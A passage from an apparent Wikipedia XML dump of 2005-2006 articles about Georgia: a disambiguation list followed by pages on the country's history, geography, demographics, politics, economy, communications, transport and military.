* [[Georgia, Vermont]], a town in the United States of America
* [[New Georgia]], an island in the Solomon Islands

Other:

* [[USS Georgia|USS ''Georgia'' and CSS ''Georgia'']], U.S. Navy ships
* [[Georgia (typeface)]], a font designed by Matthew Carter in 1993 for Microsoft.
* [[Georgia (soft drink)]], a brand of coffee 
* Georgia, a given name and subject of the song &quot;[[Georgia on My Mind]]&quot; associated with Ray Charles
* Any of [[University of Georgia]]'s athletic teams
* Movies: &lt;!-- [[Georgia (movie)]] is a disambiguation page --&gt;
** [[Georgia (1988 film)|''Georgia'' (1988 film)]], an Australian film
** [[Georgia (1995 film)|''Georgia'' (1995 film)]] starring Jennifer Jason Leigh and Mare Winningham
* [[Georgia Railroad]]
* [[Georgia (song)]]

{{disambig}}

[[da:Georgia]]
[[el:Γεωργία]]
[[fr:Géorgie]]
[[io:Georgia]]
[[it:Georgia]]
[[la:Georgia (discretiva)]]
[[ja:ジョージア]]
[[pl:Georgia (ujednoznacznienie)]]
[[pt:Geórgia (desambiguação)]]
[[ro:Georgia]]
[[sk:Georgia]]</text>
    </revision>
  </page>
  <page>
    <title>History of Georgia</title>
    <id>12058</id>
    <revision>
      <id>28257517</id>
      <timestamp>2005-11-14T01:55:13Z</timestamp>
      <contributor>
        <ip>210.213.80.101</ip>
      </contributor>
      <text xml:space="preserve">'''History of Georgia''' can refer into historical articles:

* [[History of Georgia (country)]], an article about the country, [[Georgia (country)|Georgia]].
* [[History of Georgia (U.S. state)]], an article about the [[United States|U.S.]] state of [[Georgia (U.S. state)|Georgia]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Geography of Georgia</title>
    <id>12059</id>
    <revision>
      <id>31632436</id>
      <timestamp>2005-12-16T17:57:56Z</timestamp>
      <contributor>
        <ip>216.11.202.93</ip>
      </contributor>
      <text xml:space="preserve">


[[Image:Gg-map.png|right|]]
'''[[Georgia (country)|Georgia]]''' is situated in Southwestern [[Asia]], bordering the [[Black Sea]], between [[Turkey]] and [[Russia]]. Located in the region known as the Caucasus or Caucasia, Georgia is a small country of approximately 69,875 square kilometers--about the size of [[West Virginia]]. To the north and northeast, Georgia borders the [[Russia]]n republics of [[Chechnya]], [[Ingushetia]], and [[North Ossetia]] (all of which began to seek autonomy from Russia in 1992). Neighbors to the south are Armenia, Azerbaijan, and Turkey. The shoreline of the Black Sea constitutes Georgia's entire western border.

'''[[Geographic coordinates]]:'''
{{coor dm|42|00|N|43|30|E|type:country}}

==Topography==
[[Image:CaspianSea.A2004274.0955.500m.jpg|thumb|right|300px|Georgia and the Caspian Sea]]
Despite its small area, Georgia has one of the most varied topographies of the former Soviet republics. Georgia lies mostly in the [[Caucasus Mountains]], and its northern boundary is partly defined by the Greater Caucasus range. The Lesser Caucasus range, which runs parallel to the Turkish and Armenian borders, and the Surami and Imereti ranges, which connect the Greater Caucasus and the Lesser Caucasus, create natural barriers that are partly responsible for cultural and linguistic differences among regions. Because of their elevation and a poorly developed transportation infrastructure, many mountain villages are virtually isolated from the outside world during the winter. [[Earthquake]]s and [[landslide]]s in mountainous areas present a significant threat to life and property. Among the most recent natural disasters were massive rock- and mudslides in Ajaria in 1989 that displaced thousands in southwestern Georgia, and two earthquakes in 1991 that destroyed several villages in northcentral Georgia and South Ossetia.

Georgia has about 25,000 rivers, many of which power small [[hydroelectricity|hydroelectric]] stations. Drainage is into the [[Black Sea]] to the west and through [[Azerbaijan]] to the [[Caspian Sea]] to the east. The largest river is the [[Kura River|Mtkvari]] (formerly known by its Azerbaijani name, ''Kura'', which is still used in Azerbaijan), which flows 1,364 kilometers from northeast Turkey across the plains of eastern Georgia, through the capital, Tbilisi, and into the Caspian Sea. The [[Rioni River]], the largest river in western Georgia, rises in the Greater Caucasus and empties into the Black Sea at the port of [[Poti]]. Soviet engineers turned the river lowlands along the Black Sea coast into prime subtropical agricultural land, embanked and straightened many stretches of river, and built an extensive system of canals. Deep mountain gorges form topographical belts within the Greater Caucasus.

==Climate==

Georgia's climate is affected by [[subtropical climate|subtropical]] influences from the west and [[Mediterranean climate|Mediterranean]] influences from the east. The Greater Caucasus range moderates local climate by serving as a barrier against cold air from the north. Warm, moist air from the Black Sea moves easily into the coastal lowlands from the west. Climatic zones are determined by distance from the Black Sea and by altitude. Along the Black Sea coast, from [[Abkhazia]] to the Turkish border, and in the region known as the [[Colchis|Kolkhida Lowlands]] inland from the coast, the dominant subtropical climate features high humidity and heavy precipitation (1,000 to 2,000 millimeters per year; the Black Sea port of Batumi receives 2,500 millimeters per year). Several varieties of [[Arecaceae|palm trees]] grow in these regions, where the midwinter average temperature is 5° C and the midsummer average is 22° C.

The plains of eastern Georgia are shielded from the influence of the Black Sea by mountains that provide a more [[continental climate]]. Summer temperatures average 20° C to 24° C, winter temperatures 2° C to 4° C. Humidity is lower, and rainfall averages 500 to 800 millimeters per year. [[Alpine climate|Alpine]] and [[highland (geography)|highland]] regions in the east and west, as well as a [[semi-arid]] region on the Iori Plateau to the southeast, have distinct microclimates.

At higher elevations, precipitation is sometimes twice as heavy as in the eastern plains. In the west, the climate is subtropical to about 650 meters; above that altitude (and to the north and east) is a band of moist and moderately warm weather, then a band of cool and wet conditions. Alpine conditions begin at about 2,100 meters, and above 3,600 meters snow and ice are present year-round.

==Environmental issues==

Beginning in the 1980s, Black Sea pollution has greatly harmed Georgia's tourist industry. Inadequate sewage treatment is the main cause of that condition. In Batumi, for example, only 18 percent of wastewater is treated before release into the sea. An estimated 70 percent of surface water contains health-endangering bacteria to which Georgia's high rate of intestinal disease is attributed.

The war in Abkhazia did substantial damage to the ecological habitats unique to that region. In other respects, experts considered Georgia's environmental problems less serious than those of more industrialized former Soviet republics. Solving Georgia's environmental problems was not a high priority of the national government in the post-Soviet years, however; in 1993 the minister for protection of the environment resigned to protest this inactivity. In January 1994, the Cabinet of Ministers announced a new, interdepartmental environmental monitoring system to centralize separate programs under the direction of the Ministry of Protection of the Environment. The system would include a central environmental and information and research agency. The Green Party used its small contingent in the parliament to press environmental issues in 1993.

'''Natural hazards:'''
[[earthquake]]s

'''Environment - current issues:'''
[[air pollution]], particularly in Rust'avi; heavy pollution of Mtkvari River and the Black Sea; inadequate supplies of potable water; [[soil pollution]] from toxic chemicals

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Air Pollution, Biodiversity, Climate Change, Climate Change-Kyoto Protocol, Desertification, Endangered Species, Hazardous Wastes, Law of the Sea, Ozone Layer Protection, Ship Pollution, Wetlands
&lt;br&gt;''signed, but not ratified:''
none of the selected agreements

==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:''
69,700 km²
&lt;br&gt;''land:''
69,700 km²
&lt;br&gt;''water:''
0 km²

'''Area - comparative:'''
slightly smaller than South Carolina (US) or [[Benelux]] (EU)

'''Land boundaries:'''
&lt;br&gt;''total:''
1,461 km
&lt;br&gt;''border countries:''
[[Armenia]] 164 km, [[Azerbaijan]] 322 km, Russia 723 km, Turkey 252 km

'''Coastline:'''
310 km

'''Maritime claims:'''
NA

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Black Sea 0 m
&lt;br&gt;''highest point:''
Mt'a Shkhara 5,201 m (peak is not in Georgia)&lt;br&gt;
Mt'a Mq'invartsveri ([[Mount Kazbeg|Gora Kazbeg]]) at 5,048 m is the highest peak in Georgia.

==Resources and land use==
'''Natural resources:'''
forests, hydropower, [[manganese]] deposits, [[iron]] ore, [[copper]], minor [[coal]] and [[petroleum]] deposits; coastal climate and soils allow for important [[tea]] and [[citrus]] growth

'''Land use:'''
&lt;br&gt;''arable land:''
9%
&lt;br&gt;''permanent crops:''
4%
&lt;br&gt;''permanent pastures:''
25%
&lt;br&gt;''forests and woodland:''
34%
&lt;br&gt;''other:''
28% (1993 est.)

'''Irrigated land:'''
4,000 km² (1993 est.)

==See also==
*[[Georgia (country)|Georgia]]
*[[Geography of Europe]]

==Sources==
*''This article incorporates text from the [[Library of Congress Country Studies]], which are in the [[public domain]].''
*''CIA World Fact Book''

{{Asia in topic|Geography of}}

[[Category:Geography of Georgia| ]]

[[pt:Geografia da Geórgia]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Georgia</title>
    <id>12060</id>
    <revision>
      <id>40043306</id>
      <timestamp>2006-02-17T18:46:20Z</timestamp>
      <contributor>
        <username>Chaldean</username>
        <id>743195</id>
      </contributor>
      <text xml:space="preserve">[[Demographics]] of [[Georgia (country)|Georgia]]

'''Population:''' 4,693,892 (July 2004 est.) 


'''Age structure:''' 
*0&amp;ndash;14 years: 18.7% (male 461,967; female 416,898) 
*15&amp;ndash;64 years: 65.8% (male 1,480,217; female 1,607,509) 
*65 years and over: 15.5% (male 290,534; female 436,767) (2004 est.) 

'''Median age:'''
*total: 37 years 
*male: 34.5 years 
*female: 39.2 years (2004 est.) 

*'''Population growth rate:''' -0.36% (2004 est.) 
*'''Birth rate:''' 10.1 births/1,000 population (2004 est.) 
*'''Death rate:''' 8.98 deaths/1,000 population (2004 est.) 
*'''Net migration rate:''' -4.7 migrant(s)/1,000 population (2004 est.) 

'''Sex ratio:'''
*at birth: 1.16 male(s)/female 
*under 15 years: 1.11 male(s)/female 
*15-64 years: 0.92 male(s)/female 
*65 years and over: 0.67 male(s)/female 
*total population: 0.91 male(s)/female (2004 est.) 

'''Infant mortality rate:'''
*total: 19.34 deaths/1,000 live births 
*female: 16.84 deaths/1,000 live births (2004 est.) 
*male: 21.5 deaths/1,000 live births 

'''Life expectancy at birth:'''
*total population: 75.62 years 
*male: 72.35 years 
*female: 79.44 years (2004 est.) 

'''Total fertility rate:''' 1.4 children born/woman (2004 est.) 

'''HIV/AIDS'''
*adult prevalence rate: less than 0.1% (2001 est.) 
*people living with HIV/AIDS: less than 900 (2001 est.) 
*deaths: less than 100 (2001 est.) 

'''Nationality:''' 
*noun: Georgian(s) 
*adjective: Georgian 

'''Ethnic groups:''' [[Georgian people|Georgian]] 83.8%, [[Armenians|Armenian]] 5.7%, [[Russians|Russian]] 1.5%, [[Azerbaijanis|Azeri]] 6.5%, [[Ossetia]]ns 0.9%,  other 1.6% 

'''Religions:''' [[Georgian Orthodox and Apostolic Church]] 78.0%, [[Islam|Muslim]] 9.9%, [[Armenian Apostolic Church|Armenian Apostolic]] 3.9%, [[Russian Orthodox Church|Russian Orthodox]] and other orthodox groups (f. i. [[Holy Orthodox Church in North America|&quot;Holy Orthodox Church in Georgia&quot;]] and [[Greek Old Calendarists|&quot;Greek Old Calendarists&quot;]] ) 4.0%, [[Catholics]] ([[Georgian Catholic Church|Latin Georgian Catholics]] and [[Armenian Catholics|Armenian Catholics]]) 2.2, [[Jews]] 0,1% and other 1.9% (August 2005 est.)

'''Languages:''' [[Georgian language|Georgian]] 90% (official), Russian,Armenian,Azeri and other 10% ''note:'' [[Abkhaz language|Abkhaz]] is the official language in [[Abkhazia]] 

'''Literacy:''', age 15 and over can read and write 
*total population: 99% 
*male: 100% 
*female: 98% (1999 est.)   

''Information apart from updated &quot;Religions&quot; from ''[[The World Factbook]]''.''

:''See also:'' [[Georgia (country)|Georgia]]
:''See also:'' [[Assyrians in Georgia]]

[[Category:Georgian society]]
[[Category:Demographics by country|Georgia]]

[[he:דמוגרפיה של גאורגיה]]
[[ka:საქართველოს დემოგრაფია]]
[[ru:Население Грузии]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Georgia</title>
    <id>12061</id>
    <revision>
      <id>41310549</id>
      <timestamp>2006-02-26T13:20:38Z</timestamp>
      <contributor>
        <username>Pichvi</username>
        <id>990425</id>
      </contributor>
      <text xml:space="preserve">{{Politics of Georgia}}
'''Politics of Georgia''' takes place in a framework of a [[presidential|presidential]] [[representative democracy|representative democratic]] [[republic]], whereby the [[President of Georgia|President]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government. Federal [[legislative power]] is vested in both the [[government]] and parliament. Since the [[Rose Revolution]], the party system is dominated by the [[National Movement - Democrats]].
[[Georgia (country)|Georgia]] ('''საქართველო''' (''Sakartvelo'') in [[Georgian language|Georgian]]) has been a [[democratic republic]] since the first [[multi-party system|multiparty]], democratic [[parliament]]ary elections of [[October 28]], [[1990]]. 
The Georgian state is highly centralized, except for the [[Autonomy|autonomous]] regions of [[Abkhazia]], [[Ajaria]] and South Ossetia, which are to be given autonomous status once Georgia's territorial integrity is restored. Those regions had an autonomous status within [[Georgian SSR]] during [[Soviet Union|Soviet rule]]. Abkhazia seceded unilateraly from Georgia.

==Political conditions==

The Abkhaz separatist dispute absorbs much of the government's attention. While a [[cease-fire]] is in effect, about 300,000 [[internally displaced person]]s (IDPs), who were driven from their homes during the conflict, constitute a vocal [[Lobbying|lobby]]. The government has offered the region considerable autonomy in order to encourage a settlement that would allow the IDPs, the majority of whom are ethnic Georgians from the [[Gali]] district, to return home. The Abkhaz refused to this solution, as in the case of IDP's return, Georgians would be the majority of population in the region, as it was during more than a century before they were driven from their homes.

Currently, [[Russia]]n [[Peacekeeping|peacekeepers]][https://unp.un.org/details.aspx?entry=E03020&amp;title=Regional+Peacekeepers%3a+The+Paradox+of+Russian+Peacekeeping], under the authority of the [[Commonwealth of Independent States]], are stationed in Abkhazia, along with [[United Nations|UN observer]]s, but both groups have recently had to restrict their activities due to increased [[land mine|mining]] and [[guerrilla warfare|guerrilla]] activity. Negotiations have not resulted in movement toward a settlement. [[France]], [[United Kingdom]], [[Germany]], Russia and the [[United States]], through the United Nations and the [[Organization for Security and Co-operation in Europe|OSCE]], continue to encourage a comprehensive settlement consistent with Georgian independence, sovereignty, and territorial integrity. The UN observer force and other organizations are quietly encouraging [[grassroots]] cooperative and confidence-building measures in the region.

The parliament has instituted wideranging political reforms supportive of higher [[human rights]] standards, because between [[1992]] and [[2003]] (before the [[Rose Revolution]] of [[November 23]], [[2003]]) the Georgian human rights situation had been complicated.

==Executive branch==
The head of government is the [[President of Georgia|President]], who is elected for a term of five years. His constitutional successor is the Chairman of the Parliament. The president appoints a prime minister. 
{{office-table}}
|[[President of Georgia|President]]
|[[Mikhail Saakashvili]]
|[[National Movement - Democrats|NM-D]]
|[[January 25]] [[2004]]
|-
|[[Prime Minister of Georgia|Prime Minister]]
|[[Zurab Nogaideli]]
|[[National Movement - Democrats|NM-D]]
|[[February 3]] [[2005]]
|}
''See also the [[List of Georgian rulers]]

==Legislative branch==
The [[Supreme Council of Georgia|Parliament of Georgia]] (Sak'art'velos Parlamenti), also know as the Umaghiesi Sabcho (Supreme Council) has 235 members, elected for a four year term, 150 seats by [[proportional representation]] and 75 in single-seat constituencies and 10 members represent displaced persons from the separatist region of Abkhazia.
The speaker of the Parliament is [[Nino Burjanadze]].

==Political parties and elections==
{{elect|List of political parties in Georgia|Elections in Georgia (country)}}
{{Georgian presidential election, 2004}}
{{main|Georgia presidential election, 2004}}
{{Georgia legislative election, 2004}}
{{main|Georgian presidential election, 2004}}

==Judicial branch==
Georgia has a Supreme Court, with judges elected by the Parliament on the president's recommendation and a Constitutional Court.

==Administrative divisions==
Georgia is divided into 53 districts (''raions), 11 cities*, and 2 autonomous republics** (''avtonomiuri respublika'').
**Autonomous republics: [[Abkhazia]], [[Ajaria]].
**Cities: [[Batumi]], [[Chiatura]], [[Gori]], [[Kutaisi]], [[Poti]], [[Rustavi]], [[Sokhumi]], [[Tbilisi]], [[Tkibuli]], [[Tskhinvali]], [[Tskaltubo]].
**Districts: [[Abasha]], [[Adigeni]], [[Akhalgori]], [[Akhalkalaki]], [[Akhaltsikhe]], [[Akhmeta]], [[Ambrolauri]], [[Aspindza]], [[Baghdati]], [[Bolnisi]], [[Borjomi]], [[Chkhorotsku]], [[Chokhatauri]], [[Dedoplistskaro]], [[Dmanisi]], [[Dusheti]], [[Gardabani]], [[Gurjaani]], [[Java, Georgia|Java]], [[Kareli]], [[Kaspi]], [[Kharagauli]], [[Khashuri]], [[Khobi]], [[Khoni]], [[Lagodekhi]], [[Lanchkhuti]], [[Lentekhi]], [[Marneuli]], [[Martvili]], [[Mestia]], [[Mtskheta]], [[Ninotsminda]], [[Oni, Georgia|Oni]], [[Ozurgeti]], [[Kazbegi]], [[Kvareli]], [[Sachkhere]], [[Sagarejo]], [[Samtredia]], [[Senaki]], [[Sighnaghi]], [[Telavi]], [[Terjola]], [[Tetritskaro]], [[Tianeti]], [[Tsageri]], [[Tsalenjikha]], [[Tsalka]], [[Vani]], [[Zestaponi]], [[Zugdidi]]*

;''note: administrative divisions have the same names as their administrative centers (exceptions have the administrative center name following in parentheses)''

==International organization participation==
[[BSEC]], [[Council of Europe]], [[Commonwealth of Independent States|CIS]], [[Euro-Atlantic Partnership Council|EAPC]], [[EBRD]], [[United Nations Economic Commission for Europe|ECE]], [[FAO]], [[GUUAM]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Chamber of Commerce]], [[International Criminal Court]] (ICC), [[ICFTU]], [[International Development Association|IDA]], [[IFAD]], [[IFC]], [[IFRCS]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization]], [[Inmarsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]], [[International Organization for Standardization|ISO]] (correspondent), [[International Telecommunication Union|ITU]], [[OAS]] (observer), [[OPCW]], [[Organization for Security and Co-operation in Europe|OSCE]], [[Partnership for Peace|PFP]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UPU]], [[WCO]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WTO]]

{{Asia in topic|Politics of}}

[[Category:Politics of Georgia (country)| ]]
[[de:Politik Georgiens]]
[[ro:Politica Georgiei]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Georgia</title>
    <id>12062</id>
    <revision>
      <id>38979290</id>
      <timestamp>2006-02-09T22:32:42Z</timestamp>
      <contributor>
        <username>Berkut</username>
        <id>86399</id>
      </contributor>
      <comment>/* Other statistics */</comment>
      <text xml:space="preserve">{{update}}


{{Economy of Georgia table}}

==Overview==
Georgia's economy has traditionally revolved around [[Black Sea]] [[tourism]], cultivation of [[citrus fruit]]s, [[tea]] and [[grape]]s; mining of [[manganese]] and [[copper]]; and output of a small industrial sector producing [[wine]], metals, machinery, chemicals, and textiles. The country imports the bulk of its energy needs, including natural [[gas]] and [[petroleum|oil]] products. Its only sizable internal energy resource is [[hydropower]]. Despite the severe damage the economy has suffered due to civil strife, Georgia, with the help of the [[IMF]] and [[World Bank]], made substantial economic gains since [[1995]], increasing [[Gross domestic product|GDP]] growth and slashing inflation. The Georgian economy continues to experience large budget deficits due to a failure to collect tax revenues. Georgia also still suffers from energy shortages; it privatized the [[electricity distribution|distribution ]] network in 1998, and deliveries are steadily improving. Georgia is pinning its hopes for long-term recovery on the development of an international transportation corridor through the key Black Sea ports of [[Poti|P'ot'i]] and [[Batumi]]. The growing trade deficit, continuing problems with [[tax evasion]] and [[Political corruption|corruption]], and political uncertainties cloud the short-term economic picture. However, revived investment could spur higher economic growth in [[2000]], perhaps up to 6%.

==In greater depth==
Georgia's economic recovery has been hampered by the separatist disputes in [[Abkhazia]] and [[South Ossetia]], a persistently weak economic infrastructure, resistance to reform on the part of some corrupt and reactionary factions, and the Russian and Asian economic crises. Under President [[Shevardnadze]]'s leadership, the government has nonetheless guided the economy to impressive gains: slashing inflation, meeting most [[IMF]] targets through its July 1998 review, and qualifying for economic structural adjustment facility credit status, introducing a stable national currency (the [[Lari (Georgia)|lari]]), introducing free market prices of bread products, preparing for the second stage of accession to the [[World Trade Organization]] (the first stage has already been met), signing agreements that allow for development of a pipeline to transport Caspian oil across Georgia to the [[Black Sea]], and passing laws on commercial banking, land, and tax reform. However, as a result of the fallout from the Russian and Asian economic crises, Georgia has been unable to meet IMF conditions recently.

Georgia's deficit fell from the 1996 rate of 6.2% to 3.6% in 1997. The Government expects to continue reducing the country's deficit to 3% in 1998. President Shevardnadze recently announced that tax revenues have risen dramatically, and recent tax reform, encouraged by the IMF, should lead to further increases. However, Georgia needs to implement its tax legislation and take concrete steps to meet IMF programs. Although total revenue increased from 1996 to 1997, these increases were lower than expected. International financial institutions continue to play a critical role in Georgia's budgetary calculations. Multilateral and bilateral grants and loans totaled 116.4 million lari in 1997 and are expected to total 182.8 million lari in 1998.

There has been strong progress on structural reform. All prices and most trade have been liberalized, legal-framework reform is on schedule, and massive government downsizing is underway. More than 10,500 small enterprises have been privatized, and although privatization of medium- and large-sized firms has been slow, more than 1,200 medium- and large-sized companies have been set up as joint stock companies. A law and a decree establishing the legal basis and procedures for state property privatization should continue to reduce the number of companies controlled by the state.

Due to a lack of investment, Georgia's transportation and communication infrastructure remains in very poor condition. Parliament has set an agenda to start the [[privatization]] of the [[telecommunication]]s industry, although there is still resistance to the plan and Parliament needs to draft implementing legislation.

Georgia's [[electricity market |electrical energy sector]] is in critical condition. Shortages of electricity have resulted in public unrest. In 1998, Georgia began to privatize its energy distribution system and expects to privatize its [[electricity generation |energy generation]] system by 2000. Privatization is the only means to generate the capital needed to rehabilitate the sector.

To encourage and support the reform process, the [[United States]]. is joining other donors in shifting the focus of assistance from humanitarian to technical and institution-building programs. Provision of legal and technical advisors is complemented by training opportunities for parliamentarians, law enforcement officials, and economic advisors. The U.S. is increasingly willing to impose conditions on assistance in order to encourage improved performance on key issues and privatization of key sectors, including energy. Georgia continues to depend on humanitarian aid, which is increasingly targeted to most-needy groups.

Georgian agricultural production is beginning to recover following the devastation caused by the civil unrest and the restructuring necessary following the breakup of the Soviet Union. Livestock production is beginning to rebound, although it faces periodic disease. Domestic grain production is increasing, and will require sustained political and infrastructure improvements to ensure appropriate distribution and return to farmers. Tea, hazelnut, and citrus production have suffered greatly as a result of the conflict in Abkhazia, an especially fertile area.

While approximately 30% of the Georgian economy is agricultural, crops spoil in the field because farmers either cannot get their produce to market or must pay costs that drive market prices above those for imported goods. In concert with European assistance, Georgia has taken steps to control the quality of and appropriately market its natural spring water. Georgian viniculture, well supported during Soviet times, is internationally acclaimed and has absorbed some new technologies and financing since 1994.

==Other statistics==
'''Investment (gross fixed):'''
24.6% of GDP (2005 est.)

'''Household income or consumption by percentage share:'''
* ''lowest 10%:'' 2.3%
* ''highest 10%:'' 27.9% (1996)

'''Distribution of family income - [[Gini index]]:'''
37.1 (1996)

'''Agriculture - products:'''
citrus, grapes, tea, hazelnuts, vegetables; livestock

'''Industrial production growth rate:'''
3% (2000)

'''Electricity:'''
* ''production:'' 8.634 [[TWh]] (2003)
* ''consumption:'' 8.63 TWh (2003)
* ''exports:'' 0.25 TWh (2003)
* ''imports:'' 0.85 TWh (2003)

'''Electricity - production by source:'''
* ''fossil fuel:'' 19.7%
* ''hydro:'' 80.3%
* ''nuclear:'' 0%
* ''other:'' 0% (2001)


'''Oil:'''
* ''production:'' 1,982 bbl/day (2003)
* ''consumption:'' 13,000 bbl/day (2003 est.)
* ''exports:'' NA
* ''imports:'' NA

'''Natural gas:'''
* ''production:'' 60 million m&amp;sup3; (2001 est.)
* ''consumption:'' 1.16 billion m&amp;sup3; (2001 est.)
* ''exports:'' 0 m&amp;sup3; (2001 est.)
* ''imports:'' 1.1 billion m&amp;sup3; (2001 est.)

'''Current account balance:'''
$-439.3 million (2005 est.)

'''Exports - commodities:'''
scrap metal, machinery, chemicals; fuel reexports; citrus fruits, tea, wine

'''Imports - commodities:'''
fuels, machinery and parts, transport equipment, grain and other foods, pharmaceuticals

'''Reserves of foreign exchange &amp; gold:'''
$350.1 million (2005 est.)

'''Debt - external:'''
$1.9 billion (2003)

'''Currency exchange rates:'''
lari per US dollar - 2.12 (2004), 2.1457 (2003), 2.1957 (2002), 2.073 (2001), 1.9762 (2000)

==See also==
*[[Economy of Europe]]
*[[Georgia (country)|Georgia]]

{{Asia in topic|Economy of}}

{{WTO}}
[[Category:WTO members|Georgia]]
[[Category:Economy of Georgia| ]]

[[de:Wirtschaft Georgiens]]
[[es:Economía de Georgia]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Georgia</title>
    <id>12063</id>
    <revision>
      <id>31468492</id>
      <timestamp>2005-12-15T14:18:47Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Asia in topic|Communications in}}</comment>
      <text xml:space="preserve">'''[[Telephone]]s - main lines in use:'''
554,000 (1995)

'''Telephones - mobile cellular:'''
150 (1995)

'''Telephone system:'''
&lt;br&gt;''domestic:''
Country has two cellular telephone networks of GSM 900/1800 standard: MagtiCom LTD (http://www.magticom.com) with more than 600,000 customers and Geocell LTD (http://www.geocell.ge). Cellular network market counts more than 1,000,000 customers total - coverage extends up to 95% of its populated territory as of 2005; urban areas 20 telephones/100 people; rural areas 4 telephones/100 people; intercity - a fiber-optic line connects T'bilisi to K'ut'aisi (Georgia's second largest city); nationwide pager service
&lt;br&gt;''international:''
Georgia and [[Russia]] are working on a fiber-optic line between P'ot'i and [[Sochi]] (Russia); present international service is available by microwave, landline, and satellite through the [[Moscow]] switch; international electronic mail and [[teleprinter|telex]] service available

'''[[Radio]] broadcast stations:'''
AM 7, FM 12, shortwave 4 (1998)

'''Radios:'''
3.02 million (1997)

'''[[Television]] broadcast stations:'''
12 (plus repeaters) (1998)

'''Televisions:'''
2.57 million (1997)

'''[[Internet Service Provider]]s (ISPs):'''
10 at least(2003), with most of them providing dial up 14.4-56.6 kbit/s and some - ADSL/DSL/Cable services.

'''[[Country codes|Country code]]: 995 (Top-level domain):''' GE

:''See also :'' [[Georgia (country)|Georgia]]

{{Asia in topic|Communications in}}

[[Category:Communications in Georgia| ]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Georgia</title>
    <id>12064</id>
    <revision>
      <id>39350867</id>
      <timestamp>2006-02-12T15:55:12Z</timestamp>
      <contributor>
        <ip>213.157.203.232</ip>
      </contributor>
      <comment>/* [[Highway]]s */</comment>
      <text xml:space="preserve">The '''[[transport]] network in [[Georgia (country)|Georgia]]''' is in poor condition and disrupted by ethnic conflict, criminal activities, and fuel shortages; network lacks maintenance and repair (source: [[CIA World Factbook]] 2000).

==[[Railway]]s==
&lt;br&gt;''total:''
1,583 km in common carrier service; does not include industrial lines
&lt;br&gt;''broad gauge:''
1,583 km 1.520-m gauge (1993)

City with [[metro]] system: [[Tbilisi]] (see [[Tbilisi Metro]]).

* In April [[2005]], an agreement was signed to build a railway from [[Turkey]] through [[Georgia (country)|Georgia]] to [[Azerbaijan]] probably using [[Standard gauge]] (1435mm) so that it can eventually link with [[Transportation in China|China]]. One Georgian border station is [[Akhalkalaki]].

=== Railway links with adjacent countries ===
* [[Transportation in Russia|Russia]] - yes - (1524mm)
* [[Transportation in Azerbaijan|Azerbaijan]] - yes - 1524mm with through [[Standard Gauge]]  (1435mm)line proposed.

* [[Transportation in Armenia|Armenia]] - yes (1524mm)
* [[Transportation in Turkey|Turkey]] - yes - [[break-of-gauge]] with through [[Standard Gauge]] (1435mm) line proposed.

==[[Highway]]s==
&lt;br&gt;''total:''
20,700 km
&lt;br&gt;''paved:''
19,354 km , mostly in bad condition
&lt;br&gt;''unpaved:''
1,346 km (1996 est.)

See also: [[Georgian Military Road]]

==[[Pipeline]]s:==
[[petroleum|Crude oil]] 370 km; refined products 300 km; [[natural gas]] 440 km (1992)

==Ports and harbors==
=== [[Black sea]] ===
[[Batumi]], [[Poti|P'ot'i]], [[Sokhumi]]

==Merchant marine==
&lt;br&gt;''total:''
17 ships (1,000 GRT or over) totaling 103,080 GRT/158,803 DWT
&lt;br&gt;''ships by type:''
cargo 10, chemical tanker 1, petroleum tanker 6 (1999 est.)

==Airports==
28 (1994 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
14
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
7
&lt;br&gt;''1,524 to 2,437 m:''
4
&lt;br&gt;''914 to 1,523 m:''
1
&lt;br&gt;''under 914 m:''
1 (1994 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
14
&lt;br&gt;''over 3,047 m:''
1
&lt;br&gt;''2,438 to 3,047 m:''
1
&lt;br&gt;''1,524 to 2,437 m:''
1
&lt;br&gt;''914 to 1,523 m:''
5
&lt;br&gt;''under 914 m:''
6 (1994 est.)

== See also == 

* [[Georgia (country)|Georgia]]
* [[List of Tbilisi metro stations]]

[[Category:Transportation in Georgia (country)| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Georgia</title>
    <id>12065</id>
    <revision>
      <id>42109678</id>
      <timestamp>2006-03-03T22:04:58Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">{{Military
| color=#CC3333
| age=18 years of age for compulsory and voluntary military service; conscript service obligation - 18 months ([[2004]])
| availability= 1,038,736 (2005 est.)
| service= 827,281 (2005 est.)
| reaching age= 38,857 (2005 est.)
| active=
| amount=$23 million (FY00)
| percent GDP=0.59% (FY00)
}}

==Armed Forces of Georgia==
The [[Georgia (country)|Georgian]] armed forces comprise 17,500 troops, including 10,400 conscripts. Military branches include Ground Forces (including National Guard), Air and Air Defense Forces, Maritime Defense Force, and Interior Forces. 
[[Image:georgian soldiers pkm.jpg|thumb|left|280px|Georgian soldiers]]
